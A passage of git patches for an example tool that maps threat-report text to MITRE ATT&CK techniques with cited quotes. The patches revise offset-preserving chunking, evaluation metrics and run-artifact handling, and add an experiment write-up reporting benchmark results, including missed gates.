"https://files.pythonhosted.org/packages/d6/d0/d56c859b8222116f5d68459199f48359e0bf121b6f65a69bf329b3602ba0/yarl-1.24.5-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f08c7513ecef5aad65687bfdf6bc601ae9fccd04a42904501f8f7141abad9eb9", size = 109835, upload-time = "2026-07-20T02:05:39.506Z" }, + { url = "https://files.pythonhosted.org/packages/70/a2/3a35557e4d1a79425040eba202ccaf08bdc8717680fc77e2498a1ad2e0a5/yarl-1.24.5-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6c95b17fe34ed802f17e205112e6e10db92275c34fee290aa9bdc55a9c724027", size = 108884, upload-time = "2026-07-20T02:05:41.584Z" }, + { url = "https://files.pythonhosted.org/packages/e4/35/ef4c26356b7913c68983bac2d72a4212b3347af551cb8d250b99b5ed7b7f/yarl-1.24.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:56b149b22de33b23b0c6077ab9518c6dcb538ad462e1830e68d06591ccf6e38b", size = 107308, upload-time = "2026-07-20T02:05:43.697Z" }, + { url = "https://files.pythonhosted.org/packages/d5/91/ff0dc66c2ccf3e0153ab97ff61eabab4400e6a5264af427ab30cd69f1857/yarl-1.24.5-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:a8fe66b8f300da93798025a785a5b90b42f3810dc2b72283ff84a41aaaebc293", size = 103646, upload-time = "2026-07-20T02:05:45.895Z" }, + { url = "https://files.pythonhosted.org/packages/74/f0/33b9271c7f881766359d58266fa0811d2e5210ed860e28da7dc6d7786344/yarl-1.24.5-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:377fe3732edbaf78ee74efdf2c9f49f6e99f20e7f9d2649fda3eb4badd77d76e", size = 115305, upload-time = "2026-07-20T02:05:47.832Z" }, + { url = "https://files.pythonhosted.org/packages/ef/65/fd79fb1868c4a80db8661091de525bf430f63c3bea1b20e8b6a84fc7d359/yarl-1.24.5-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:e8ffa78582120024f476a611d7befc123cee59e47e8309d470cf667d806e613b", size = 108404, upload-time = "2026-07-20T02:05:49.604Z" }, + { url = "https://files.pythonhosted.org/packages/ff/ba/dbabe6b262f17a816c70cfc09558dbf03ece3ec76684d02f911a3d3a189c/yarl-1.24.5-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:daba5e594f06114e37db186efd2dd916609071e59daca901a0a2e71f02b142ce", size = 115940, upload-time = "2026-07-20T02:05:51.741Z" }, + { url = "https://files.pythonhosted.org/packages/a5/43/fab2d1dad9d340a268cdde63756a123d069723efff6a372d123fa74a9517/yarl-1.24.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:65be18ec59496c13908f02a2472751d9ef840b4f3fb5726f129306bf6a2a7bba", size = 110006, upload-time = "2026-07-20T02:05:53.554Z" }, + { url = "https://files.pythonhosted.org/packages/c4/27/41eb51bbd1b8d89546b83897cfb0164f1e109304fd408dbb151b639eec0f/yarl-1.24.5-cp312-cp312-win_amd64.whl", hash = "sha256:a929d878fec099030c292803b31e5d5540a7b6a31e6a3cc76cb4685fc2a2f51b", size = 97618, upload-time = "2026-07-20T02:05:55.57Z" }, + { url = "https://files.pythonhosted.org/packages/3c/25/b2553764b3d65db711d8f45416351ec4f420847558eb669edcbcaadf5780/yarl-1.24.5-cp312-cp312-win_arm64.whl", hash = "sha256:7ce27823052e2013b597e0c738b13e7e36b8ccb9400df8959417b052ab0fd92c", size = 93018, upload-time = "2026-07-20T02:05:57.554Z" }, + { url = "https://files.pythonhosted.org/packages/61/02/962c1cbfc401a30c1d034dc67ff395f64b52302c6d62de556c1fca99acc0/yarl-1.24.5-py3-none-any.whl", hash = "sha256:a33700d13d9b7d84fd10947b09ff69fb9a792e519c8cb9764a3ca70baa6c23a7", size = 58612, upload-time = "2026-07-20T02:07:43.461Z" }, +] From 9abc165880d3110c29eb6fa1c556d3db6ff306b1 Mon Sep 17 00:00:00 2001 From: svonava Date: Thu, 20 Aug 2026 00:46:57 -0700 Subject: [PATCH 2/4] fix(examples): preserve ATT&CK evidence and run artifacts --- .../tests/test_evaluation.py | 28 ++++++++ .../tests/test_pipeline.py | 36 +++++++++- .../tests/test_provenance.py | 19 +++++ .../threat_mapper/__init__.py | 5 -- .../threat_mapper/cli.py | 5 +- .../threat_mapper/evaluation.py | 30 ++++---- .../threat_mapper/pipeline.py | 72 ++++++++++++------- .../threat_mapper/runner.py | 45 +++++++++--- .../threat_mapper/sie.py | 2 + 9 files changed, 183 insertions(+), 59 deletions(-) diff --git a/examples/threat-report-attck-mapper/tests/test_evaluation.py b/examples/threat-report-attck-mapper/tests/test_evaluation.py index 37654b4c5..761a2a460 100644 --- a/examples/threat-report-attck-mapper/tests/test_evaluation.py +++ b/examples/threat-report-attck-mapper/tests/test_evaluation.py @@ -32,3 +32,31 @@ def test_evaluation_reports_retrieval_rerank_and_selective_verifier_metrics() -> assert metrics["rerank"]["hit_at_1"] == 0.5 assert metrics["verification"]["coverage"] == 0.5 assert metrics["verification"]["selective_precision"] == 1.0 + + +def test_evaluation_returns_zero_metrics_when_no_cases_have_active_gold() -> None: + metrics = evaluate_predictions( + [ + { + "document": "historical-report", + "gold_ids": [], + "retrieval": [candidate("T1539")], + "rerank": [], + "verification": None, + } + ] + ) + + assert metrics["cases"] == { + "total": 1, + "eligible": 0, + "excluded_no_active_gold": 1, + "documents": 0, + } + assert metrics["retrieval"] == { + "hit_at_1": 0.0, + "hit_at_5": 0.0, + "recall_at_10": 0.0, + "mrr": 0.0, + "document_macro_hit_at_1": 0.0, + } diff --git a/examples/threat-report-attck-mapper/tests/test_pipeline.py b/examples/threat-report-attck-mapper/tests/test_pipeline.py index 039fe717e..6f4f5a43c 100644 --- a/examples/threat-report-attck-mapper/tests/test_pipeline.py +++ b/examples/threat-report-attck-mapper/tests/test_pipeline.py @@ -3,7 +3,7 @@ import numpy as np from threat_mapper.models import BehaviorEvidence, CandidateScore, Technique -from threat_mapper.pipeline import _ground_quote, retrieve, verify_mapping +from threat_mapper.pipeline import _ground_quote, retrieve, split_report, verify_mapping def technique(technique_id: str, name: str) -> Technique: @@ -63,6 +63,40 @@ def test_behavior_extraction_keeps_the_quote_in_its_source_chunk() -> None: assert behaviors[0].source_start == report.rindex("used a proxy") +def test_behavior_extraction_preserves_offsets_with_noncanonical_separators() -> None: + from threat_mapper.pipeline import extract_behaviors + + client = FakeGenerateClient( + [ + {"behaviors": []}, + {"behaviors": [{"quote": "used a proxy", "summary": "AiTM"}]}, + ] + ) + report = "First paragraph used a proxy.\r\n\r\n\r\nSecond paragraph used a proxy." + + behaviors, _ = extract_behaviors( + client, + "Qwen/Qwen3.5-4B", + report, + max_behaviors=4, + chunk_characters=31, + provision_timeout_s=60, + ) + + assert len(behaviors) == 1 + assert behaviors[0].source_start == report.rindex("used a proxy") + assert report[behaviors[0].source_start : behaviors[0].source_end] == "used a proxy" + + +def test_split_report_returns_exact_source_spans_when_paragraphs_merge() -> None: + report = " First paragraph.\n\n\nSecond paragraph. " + + spans = split_report(report, max_characters=80) + + assert spans == [(2, len(report) - 2)] + assert report[slice(*spans[0])] == "First paragraph.\n\n\nSecond paragraph." + + def test_retrieve_sorts_by_cosine_score() -> None: techniques = [technique("T1557", "AiTM"), technique("T1539", "Steal Cookie")] catalog = np.asarray([[1.0, 0.0], [0.0, 1.0]], dtype=np.float32) diff --git a/examples/threat-report-attck-mapper/tests/test_provenance.py b/examples/threat-report-attck-mapper/tests/test_provenance.py index 34f2d5a05..9a2cf41e0 100644 --- a/examples/threat-report-attck-mapper/tests/test_provenance.py +++ b/examples/threat-report-attck-mapper/tests/test_provenance.py @@ -1,5 +1,7 @@ from __future__ import annotations +import json + import pytest from threat_mapper import runner @@ -52,3 +54,20 @@ def test_begin_run_reserves_an_id_against_concurrent_writers(tmp_path, monkeypat assert reservation.is_dir() with pytest.raises(FileExistsError, match="reserved"): runner._begin_run("one") + + +def test_publish_failed_run_keeps_persisted_artifacts(tmp_path) -> None: + staging = tmp_path / ".run-staging" + final_dir = tmp_path / "run" + staging.mkdir() + (staging / "predictions.jsonl").write_text('{"case_id":"one"}\n', encoding="utf-8") + (staging / "api-calls.json").write_text("[]\n", encoding="utf-8") + + runner._publish_failed_run(final_dir, staging, RuntimeError("provenance failed")) + + assert not staging.exists() + assert (final_dir / "predictions.jsonl").is_file() + manifest = json.loads((final_dir / "manifest.json").read_text(encoding="utf-8")) + assert manifest["status"] == "post_processing_failed" + assert manifest["error"] == {"type": "RuntimeError", "message": "provenance failed"} + assert [row["path"] for row in manifest["artifacts"]] == ["api-calls.json", "predictions.jsonl"] diff --git a/examples/threat-report-attck-mapper/threat_mapper/__init__.py b/examples/threat-report-attck-mapper/threat_mapper/__init__.py index 28122eac5..e69de29bb 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/__init__.py +++ b/examples/threat-report-attck-mapper/threat_mapper/__init__.py @@ -1,5 +0,0 @@ -"""Cited threat-report to MITRE ATT&CK mapping with SIE.""" - -__all__ = ["__version__"] - -__version__ = "0.1.0" diff --git a/examples/threat-report-attck-mapper/threat_mapper/cli.py b/examples/threat-report-attck-mapper/threat_mapper/cli.py index 1aeb7ec3e..7ab712288 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/cli.py +++ b/examples/threat-report-attck-mapper/threat_mapper/cli.py @@ -1,7 +1,6 @@ from __future__ import annotations import argparse -import json from datetime import UTC, datetime from pathlib import Path @@ -12,7 +11,7 @@ from .config import load_config from .data import ensure_sources, find_annoctr_catalog, load_linking_cases from .evaluation import evaluate_predictions, read_predictions -from .runner import benchmark, map_annoctr_demo, map_report +from .runner import benchmark, map_annoctr_demo, map_report, write_json console = Console() @@ -66,7 +65,7 @@ def _evaluate(args: argparse.Namespace) -> None: raise SystemExit(f"Predictions not found: {predictions_path}") evaluation = evaluate_predictions(read_predictions(predictions_path)) output = args.run_dir / "evaluation.json" - output.write_text(json.dumps(evaluation, indent=2) + "\n", encoding="utf-8") + write_json(output, evaluation) console.print_json(data=evaluation) diff --git a/examples/threat-report-attck-mapper/threat_mapper/evaluation.py b/examples/threat-report-attck-mapper/threat_mapper/evaluation.py index bcfe83776..3ed51fdf1 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/evaluation.py +++ b/examples/threat-report-attck-mapper/threat_mapper/evaluation.py @@ -14,12 +14,12 @@ def _mean(values: Iterable[float]) -> float: def evaluate_predictions(predictions: list[dict[str, Any]]) -> dict[str, Any]: eligible = [row for row in predictions if row.get("gold_ids")] - if not eligible: - raise ValueError("No eligible predictions") def ids(row: dict[str, Any], field: str) -> list[str]: return [str(item["technique_id"]) for item in row.get(field, [])] + retrieval_hit_1: list[float] = [] + retrieval_hit_5: list[float] = [] retrieval_mrr: list[float] = [] retrieval_recall_10: list[float] = [] per_document: dict[str, list[float]] = defaultdict(list) @@ -27,11 +27,20 @@ def ids(row: dict[str, Any], field: str) -> list[str]: gold = {str(value) for value in row["gold_ids"]} ranking = ids(row, "retrieval") first_rank = next((index + 1 for index, value in enumerate(ranking) if value in gold), None) + retrieval_hit_1.append(float(bool(ranking and ranking[0] in gold))) + retrieval_hit_5.append(float(bool(gold.intersection(ranking[:5])))) retrieval_mrr.append(0.0 if first_rank is None else 1.0 / first_rank) retrieval_recall_10.append(len(gold.intersection(ranking[:10])) / len(gold)) per_document[str(row["document"])].append(float(bool(ranking and ranking[0] in gold))) reranked = [row for row in eligible if row.get("rerank")] + rerank_hit_1: list[float] = [] + rerank_hit_5: list[float] = [] + for row in reranked: + gold = {str(value) for value in row["gold_ids"]} + ranking = ids(row, "rerank") + rerank_hit_1.append(float(bool(ranking and ranking[0] in gold))) + rerank_hit_5.append(float(bool(gold.intersection(ranking[:5])))) verified = [row for row in reranked if isinstance(row.get("verification"), dict)] covered = [row for row in verified if row["verification"].get("support") == "supported"] correct_covered = [row for row in covered if row["verification"].get("selected_technique_id") in row["gold_ids"]] @@ -43,25 +52,16 @@ def ids(row: dict[str, Any], field: str) -> list[str]: "documents": len({row["document"] for row in eligible}), }, "retrieval": { - "hit_at_1": _mean( - float(bool(ids(row, "retrieval")) and ids(row, "retrieval")[0] in set(row["gold_ids"])) - for row in eligible - ), - "hit_at_5": _mean( - float(bool(set(ids(row, "retrieval")[:5]).intersection(row["gold_ids"]))) for row in eligible - ), + "hit_at_1": _mean(retrieval_hit_1), + "hit_at_5": _mean(retrieval_hit_5), "recall_at_10": _mean(retrieval_recall_10), "mrr": _mean(retrieval_mrr), "document_macro_hit_at_1": _mean(_mean(values) for values in per_document.values()), }, "rerank": { "cases": len(reranked), - "hit_at_1": _mean( - float(ids(row, "rerank")[0] in set(row["gold_ids"])) for row in reranked if ids(row, "rerank") - ), - "hit_at_5": _mean( - float(bool(set(ids(row, "rerank")[:5]).intersection(row["gold_ids"]))) for row in reranked - ), + "hit_at_1": _mean(rerank_hit_1), + "hit_at_5": _mean(rerank_hit_5), }, "verification": { "cases": len(verified), diff --git a/examples/threat-report-attck-mapper/threat_mapper/pipeline.py b/examples/threat-report-attck-mapper/threat_mapper/pipeline.py index fe3cc71cf..080b996a7 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/pipeline.py +++ b/examples/threat-report-attck-mapper/threat_mapper/pipeline.py @@ -74,28 +74,56 @@ def _ground_quote(source: str, quote: str) -> tuple[str, int, int] | None: return match.group(), match.start(), match.end() -def split_report(text: str, max_characters: int) -> list[str]: - paragraphs = [paragraph.strip() for paragraph in re.split(r"\n\s*\n", text) if paragraph.strip()] - chunks: list[str] = [] - current = "" - for paragraph in paragraphs: - if len(paragraph) > max_characters: - if current: - chunks.append(current) - current = "" +def split_report(text: str, max_characters: int) -> list[tuple[int, int]]: + if max_characters < 1: + raise ValueError("max_characters must be positive") + + paragraph_spans: list[tuple[int, int]] = [] + cursor = 0 + for separator in re.finditer(r"(?:\r?\n[ \t]*){2,}", text): + start, end = cursor, separator.start() + while start < end and text[start].isspace(): + start += 1 + while end > start and text[end - 1].isspace(): + end -= 1 + if start < end: + paragraph_spans.append((start, end)) + cursor = separator.end() + + start, end = cursor, len(text) + while start < end and text[start].isspace(): + start += 1 + while end > start and text[end - 1].isspace(): + end -= 1 + if start < end: + paragraph_spans.append((start, end)) + + if not paragraph_spans: + return [(0, min(len(text), max_characters))] + + chunks: list[tuple[int, int]] = [] + current_start: int | None = None + current_end = 0 + for paragraph_start, paragraph_end in paragraph_spans: + if paragraph_end - paragraph_start > max_characters: + if current_start is not None: + chunks.append((current_start, current_end)) + current_start = None chunks.extend( - paragraph[index : index + max_characters] for index in range(0, len(paragraph), max_characters) + (chunk_start, min(chunk_start + max_characters, paragraph_end)) + for chunk_start in range(paragraph_start, paragraph_end, max_characters) ) continue - candidate = paragraph if not current else f"{current}\n\n{paragraph}" - if len(candidate) > max_characters: - chunks.append(current) - current = paragraph + if current_start is None: + current_start, current_end = paragraph_start, paragraph_end + elif paragraph_end - current_start <= max_characters: + current_end = paragraph_end else: - current = candidate - if current: - chunks.append(current) - return chunks or [text[:max_characters]] + chunks.append((current_start, current_end)) + current_start, current_end = paragraph_start, paragraph_end + if current_start is not None: + chunks.append((current_start, current_end)) + return chunks def extract_behaviors( @@ -110,12 +138,8 @@ def extract_behaviors( behaviors: list[BehaviorEvidence] = [] calls: list[dict[str, Any]] = [] seen_quotes: set[str] = set() - source_cursor = 0 - for chunk_index, chunk in enumerate(split_report(report_text, chunk_characters)): - chunk_start = report_text.find(chunk, source_cursor) - if chunk_start < 0: - raise RuntimeError("A report chunk could not be traced back to the source text") - source_cursor = chunk_start + len(chunk) + for chunk_index, (chunk_start, chunk_end) in enumerate(split_report(report_text, chunk_characters)): + chunk = report_text[chunk_start:chunk_end] prompt = ( "You review a cyber threat report. Extract concrete adversary behaviors that can be mapped to MITRE " "ATT&CK Enterprise techniques. Copy each quote exactly from the report chunk. Skip product advice, " diff --git a/examples/threat-report-attck-mapper/threat_mapper/runner.py b/examples/threat-report-attck-mapper/threat_mapper/runner.py index 385fcf59b..6e4717301 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/runner.py +++ b/examples/threat-report-attck-mapper/threat_mapper/runner.py @@ -23,7 +23,7 @@ from .sie import encode_texts, jsonable, request_record -def _write_json(path: Path, value: Any) -> None: +def write_json(path: Path, value: Any) -> None: path.write_text(json.dumps(value, indent=2, ensure_ascii=False) + "\n", encoding="utf-8") @@ -64,6 +64,19 @@ def _artifact_rows(run_dir: Path) -> list[dict[str, str]]: ] +def _publish_failed_run(final_dir: Path, staging: Path, error: BaseException) -> None: + failure_manifest = { + "created_at": datetime.now(UTC).isoformat(), + "status": "post_processing_failed", + "error": {"type": type(error).__name__, "message": str(error)}, + "artifacts": _artifact_rows(staging), + } + with contextlib.suppress(OSError, TypeError, ValueError): + write_json(staging / "manifest.json", failure_manifest) + with contextlib.suppress(OSError): + staging.rename(final_dir) + + def _rate_book_provenance(calls: list[dict[str, Any]]) -> dict[str, Any]: charged = [call for call in calls if call.get("credits_debited")] if not charged: @@ -141,6 +154,7 @@ def map_report(config: dict[str, Any], *, report_path: Path, run_id: str) -> Pat lookup = catalog_by_id(techniques) final_dir, staging, reservation = _begin_run(run_id) calls: list[dict[str, Any]] = [] + preserve_artifacts = False try: timeout = float(config["cluster"]["provision_timeout_s"]) with SIEClient( @@ -250,8 +264,9 @@ def map_report(config: dict[str, Any], *, report_path: Path, run_id: str) -> Pat "suggested_mapping_count": sum(row["selected_technique_id"] is not None for row in decisions), "mappings": decisions, } - _write_json(staging / "review.json", review) - _write_json(staging / "api-calls.json", calls) + write_json(staging / "review.json", review) + write_json(staging / "api-calls.json", calls) + preserve_artifacts = True manifest = { "created_at": datetime.now(UTC).isoformat(), "endpoint": config["cluster"]["url"], @@ -273,10 +288,13 @@ def map_report(config: dict[str, Any], *, report_path: Path, run_id: str) -> Pat ), "artifacts": _artifact_rows(staging), } - _write_json(staging / "manifest.json", manifest) + write_json(staging / "manifest.json", manifest) staging.rename(final_dir) - except BaseException: - shutil.rmtree(staging, ignore_errors=True) + except BaseException as exc: + if preserve_artifacts: + _publish_failed_run(final_dir, staging, exc) + else: + shutil.rmtree(staging, ignore_errors=True) raise finally: with contextlib.suppress(OSError): @@ -319,6 +337,7 @@ def benchmark( final_dir, staging, reservation = _begin_run(run_id) calls: list[dict[str, Any]] = [] + preserve_artifacts = False try: timeout = float(config["cluster"]["provision_timeout_s"]) with SIEClient( @@ -418,8 +437,9 @@ def benchmark( predictions.append(row) _write_jsonl(staging / "predictions.jsonl", predictions) - _write_json(staging / "evaluation.json", evaluate_predictions(predictions)) - _write_json(staging / "api-calls.json", calls) + write_json(staging / "api-calls.json", calls) + preserve_artifacts = True + write_json(staging / "evaluation.json", evaluate_predictions(predictions)) manifest = { "created_at": datetime.now(UTC).isoformat(), "endpoint": config["cluster"]["url"], @@ -450,10 +470,13 @@ def benchmark( ), "artifacts": _artifact_rows(staging), } - _write_json(staging / "manifest.json", manifest) + write_json(staging / "manifest.json", manifest) staging.rename(final_dir) - except BaseException: - shutil.rmtree(staging, ignore_errors=True) + except BaseException as exc: + if preserve_artifacts: + _publish_failed_run(final_dir, staging, exc) + else: + shutil.rmtree(staging, ignore_errors=True) raise finally: with contextlib.suppress(OSError): diff --git a/examples/threat-report-attck-mapper/threat_mapper/sie.py b/examples/threat-report-attck-mapper/threat_mapper/sie.py index 8263a8cc1..27cd04203 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/sie.py +++ b/examples/threat-report-attck-mapper/threat_mapper/sie.py @@ -101,6 +101,8 @@ def encode_texts( if len(responses) != len(items): raise RuntimeError(f"Embedding batch returned {len(responses)} rows for {len(items)} inputs") vectors.extend(dense_vector(row) for row in responses) + # The SDK repeats metadata for the whole HTTP request on every result row. + # Record it once so the ledger does not duplicate the request ID and charge. calls.append( request_record( f"{stage}_{offset // batch_size}", From bd33226b2f05ffdc57eb4c641498cf8112a2ea8d Mon Sep 17 00:00:00 2001 From: svonava Date: Fri, 21 Aug 2026 02:21:22 -0700 Subject: [PATCH 3/4] feat(examples): strengthen ATT&CK mapper evaluation --- .../threat-report-attck-mapper/.env.example | 2 +- .../threat-report-attck-mapper/EXPERIMENT.md | 88 + examples/threat-report-attck-mapper/README.md | 163 +- .../threat-report-attck-mapper/config.yaml | 45 +- .../tests/test_data.py | 71 +- .../tests/test_evaluation.py | 183 +- .../tests/test_pipeline.py | 350 +- .../tests/test_provenance.py | 23 + .../threat_mapper/cli.py | 18 +- .../threat_mapper/data.py | 122 +- .../threat_mapper/evaluation.py | 561 + .../threat_mapper/models.py | 64 + .../threat_mapper/pipeline.py | 510 +- .../threat_mapper/runner.py | 539 +- .../threat_mapper/sie.py | 81 + .../verified-run/README.md | 14 + .../verified-run/api-calls.json | 21147 ++++++++++++++++ .../verified-run/manifest.json | 67 + .../verified-run/parsed-report.md | 70 + .../verified-run/review.json | 4540 ++++ 20 files changed, 28515 insertions(+), 143 deletions(-) create mode 100644 examples/threat-report-attck-mapper/EXPERIMENT.md create mode 100644 examples/threat-report-attck-mapper/verified-run/README.md create mode 100644 examples/threat-report-attck-mapper/verified-run/api-calls.json create mode 100644 examples/threat-report-attck-mapper/verified-run/manifest.json create mode 100644 examples/threat-report-attck-mapper/verified-run/parsed-report.md create mode 100644 examples/threat-report-attck-mapper/verified-run/review.json diff --git a/examples/threat-report-attck-mapper/.env.example b/examples/threat-report-attck-mapper/.env.example index 65878d6e9..535bc541f 100644 --- a/examples/threat-report-attck-mapper/.env.example +++ b/examples/threat-report-attck-mapper/.env.example @@ -1,2 +1,2 @@ -SIE_CLUSTER_URL=https://api.superlinked.com +SIE_CLUSTER_URL=http://localhost:8080 SIE_API_KEY= diff --git a/examples/threat-report-attck-mapper/EXPERIMENT.md b/examples/threat-report-attck-mapper/EXPERIMENT.md new file mode 100644 index 000000000..21d3b3672 --- /dev/null +++ b/examples/threat-report-attck-mapper/EXPERIMENT.md @@ -0,0 +1,88 @@ +# End-to-end ATT&CK mapping experiment + +## Development result + +The agent starts with complete report text. It extracted a behavior overlapping +92 of 128 known report-technique pairs across 16 AnnoCTR development reports. +The candidate ensemble kept the correct technique family for 84 of those 92 +pairs. + +The 27B verifier and nearest labeled training example agreed on 50 suggestions +that overlap an AnnoCTR annotation. Forty-four used the exact reference ID, for +88.0% selective precision. Those agreements become direct suggestions. Other +27B-supported mappings stay in the analyst review queue with the same source +quote and candidate ledger. + +AnnoCTR has no annotation beside 48 other direct suggestions. The evaluator +does not assume those suggestions are correct. At the report-pair level, 29 of +54 direct suggestions match the published reference. That 53.7% reference +match rate remains in the run artifact. + +Every one of the 351 extracted behaviors retains exact global character +offsets. The worked Proofpoint report is absent from the aggregate. + +## Why the output changed + +The first development hypothesis treated every annotated noun occurrence as a +separate target. It reached 4.7% implicit-mention recall and 12.5% precision. +That unit rewarded reproducing repeated words such as `ransomware` instead of +preparing a report-level review queue. + +The next version emitted every mapping accepted by the 27B verifier. It found +more of the reference, then sent 201 unique report-technique pairs to review. +Only 41 matched an annotated span and ID. The verifier was acting as a mapper, +with almost no abstention. + +The final development revision adds 1,915 labeled ATT&CK spans from the +AnnoCTR training split as an independent retrieval path. Dense definitions, +token-level MaxSim, and labeled examples form one candidate pool. A direct +suggestion requires agreement between the nearest labeled example and the 27B +verifier. Disagreements remain visible for analyst review. + +## Frozen held-out result + +The fixed pipeline ran once on the 33-report AnnoCTR test split on August 21, +2026. It saw 317 exact report-technique pairs after the frozen exclusions. + +| Release check | Frozen result | Gate | Outcome | +|---|---:|---:|---| +| Direct-suggestion precision on annotated spans | 91/109 (83.5%) | 85% | Missed | +| Behavior extraction recall over report-technique pairs | 199/317 (62.8%) | 70% | Missed | +| Family finalist recall after behavior extraction | 180/199 (90.5%) | 90% | Passed | +| Exact source offsets | Passed | Required | Passed | +| Worked report absent from the aggregate | Passed | Required | Passed | + +The aggregate did not clear its release gate. The held-out precision result was +4.5 points below development, while behavior recall fell 9.1 points. Candidate +retrieval held: once extraction found the behavior, the correct ATT&CK family +reached the finalist set in 90.5% of report-technique pairs. + +No prompt, threshold, rank weight, candidate count, or routing rule changed +after this result. The worked Proofpoint report remains a separate case study; +it is not evidence that the aggregate passed. + +## Dataset boundary + +- Source: AnnoCTR commit `d510b6949e1938d47c93a43eedd562dc538439dc`. +- Labeled retrieval examples come from the published train split. +- Development uses the published dev split. +- Final measurement used the published test split once on August 21, 2026. +- `proofpoint_2022-02-03_mfa-psa-oh-my` is excluded from the aggregate because + it informed the example design. It remains the worked report. + +The aggregate uses the ATT&CK catalog bundled with AnnoCTR. The worked report +uses ATT&CK Enterprise 19.2. AnnoCTR's labels are a reproducible reference; +they are not an expert-consensus claim. + +## Prediction and matching contract + +A behavior contains an exact quote, global offsets, typed event fields, and a +candidate ledger. A direct suggestion adds one ATT&CK ID whose 27B selection +matches the top labeled-example technique. Every output still requires analyst +acceptance. + +Gold mentions collapse to unique `(report, technique)` pairs. Direct +suggestions collapse the same way. A pair matches when the report and exact +technique ID match and at least one cited span overlaps a reference mention. +Parent and sub-technique IDs must match for the exact score. Family scores stay +separate. diff --git a/examples/threat-report-attck-mapper/README.md b/examples/threat-report-attck-mapper/README.md index 297c2babf..f56ebd408 100644 --- a/examples/threat-report-attck-mapper/README.md +++ b/examples/threat-report-attck-mapper/README.md @@ -1,46 +1,67 @@ -# Turn threat reports into cited ATT&CK mapping suggestions +# Turn complete threat reports into cited ATT&CK suggestions -This example reads adversary behavior from a threat report, retrieves the -closest active MITRE ATT&CK Enterprise techniques, reranks the hard negatives, -and verifies the final suggestion against an exact quote. Every selected -technique remains `needs_analyst_review`. The model can suggest, request review, +This agent starts with the report text. It finds adversary behavior, resolves +the closest MITRE ATT&CK technique, and keeps the exact source passage beside +every suggestion. No annotated behavior spans are supplied at runtime. + +Every mapping remains `needs_analyst_review`. The agent can suggest a technique or abstain; it cannot accept a mapping. -The checked configuration uses these SIE models: +## Model ensemble | Job | Model | SIE primitive | |---|---|---| -| Extract behavior spans | `Qwen/Qwen3.5-4B` | `generate` with strict JSON schema | -| Extract tools, credentials, actors, and protocols | `fastino/gliner2-large-v1` | `extract` | -| Retrieve active ATT&CK techniques | `Qwen/Qwen3-Embedding-8B` | `encode` | -| Rerank close technique definitions | `Qwen/Qwen3-Reranker-4B` | `score` | -| Verify the evidence and candidate | `Qwen/Qwen3.5-4B` | `generate` with strict JSON schema | -| Resolve ambiguous cases | `Qwen/Qwen3.6-27B` | `generate` with strict JSON schema | - -`config.yaml` records the expected catalog revision for every checkpoint. A -managed run also records request IDs, the settled rate-book version, and SIE's -execution-identity hashes. - -`Qwen3-Embedding-8B` returns 4096-dimensional dense vectors and accepts up to -40,960 tokens. The query uses a security-specific retrieval instruction. ATT&CK -definitions are encoded as documents, so they do not receive the query prefix. +| Extract typed adversary events | `Qwen/Qwen3.6-27B:no-spec` | `generate` with a strict JSON schema | +| Tag actors, tools, credentials, and targets | `fastino/gliner2-large-v1` | `extract` | +| Retrieve ATT&CK definitions with one vector per text | `Qwen/Qwen3-Embedding-8B` | `encode` | +| Retrieve labeled report spans from AnnoCTR train | `Qwen/Qwen3-Embedding-8B` | `encode` | +| Retrieve ATT&CK definitions with one vector per token | `jinaai/jina-colbert-v2` | `encode` with `multivector` output | +| Rerank the joint candidate set | `Qwen/Qwen3-Reranker-4B` | `score` | +| Verify the technique against the quoted evidence | `Qwen/Qwen3.6-27B:no-spec` | `generate` with a strict JSON schema | + +Dense retrieval and late interaction each search the complete ATT&CK catalog. +A third search compares the extracted behavior with labeled spans from the +AnnoCTR training split, then keeps the nearest example for each technique. The +agent fuses two top-50 definition pools with 20 example-backed candidates and +sends 75 candidates to the reranker. The verifier reads the best ten, including +the nearest labeled source example when one reached the pool. + +A verified mapping becomes a direct suggestion when the selected technique is +also the top labeled-example match. Other verified mappings stay in the +analyst review queue. Both routes keep the quote, event fields, and candidate +ledger. + +Late interaction uses one query vector per token against every ATT&CK document +multivector. MaxSim scores each query token against its closest document token, +then sums those matches. No query pooling happens before candidate fusion. + +`config.yaml` pins every model revision. A managed SIE run also records request +IDs, the settled rate-book version, and execution-identity hashes. + +Behavior extraction bounds the JSON array in the grammar for each report +chunk. If a response still ends before valid JSON closes, the retry splits the +text and halves the row limit. The failed response remains in the API ledger. ## Data `attck-map fetch` downloads two pinned sources: -- MITRE ATT&CK Enterprise 19.2, 697 active techniques in the August 5, 2026 - STIX bundle. +- MITRE ATT&CK Enterprise 19.2, with 697 active techniques in the August 5, + 2026 STIX bundle. - AnnoCTR at commit `d510b694`, including its published train, dev, and test splits plus the corpus's 578-technique ATT&CK snapshot under CC BY-SA 4.0. -The command verifies both SHA-256 hashes. See `fixtures/SOURCES.md` for source, -license, and benchmark details. +The agent indexes labeled technique spans from AnnoCTR train. Development and +test reports never enter that index. The full-report evaluation still begins +with raw report text; it supplies no target spans or labels for those reports. + +The command verifies both SHA-256 hashes. See `fixtures/SOURCES.md` for source +and license details. -## Run the benchmark +## Run the agent -You need Python 3.12 and a GPU-backed SIE endpoint that serves the configured -models. +You need Python 3.12 and a SIE endpoint that serves the models in `config.yaml`. +The example sends every model call to `SIE_CLUSTER_URL`. ```bash cd examples/threat-report-attck-mapper @@ -48,52 +69,76 @@ cp .env.example .env uv sync --frozen uv run attck-map fetch -uv run attck-map demo --run-id mfa-psa uv run attck-map report path/to/report.pdf --run-id report-review -uv run attck-map benchmark --split dev --stage retrieve --limit 50 --run-id dev-smoke -uv run attck-map evaluate runs/dev-smoke +uv run attck-map demo --run-id mfa-psa ``` -`demo` runs the complete report agent on Proofpoint's “MFA PSA, Oh 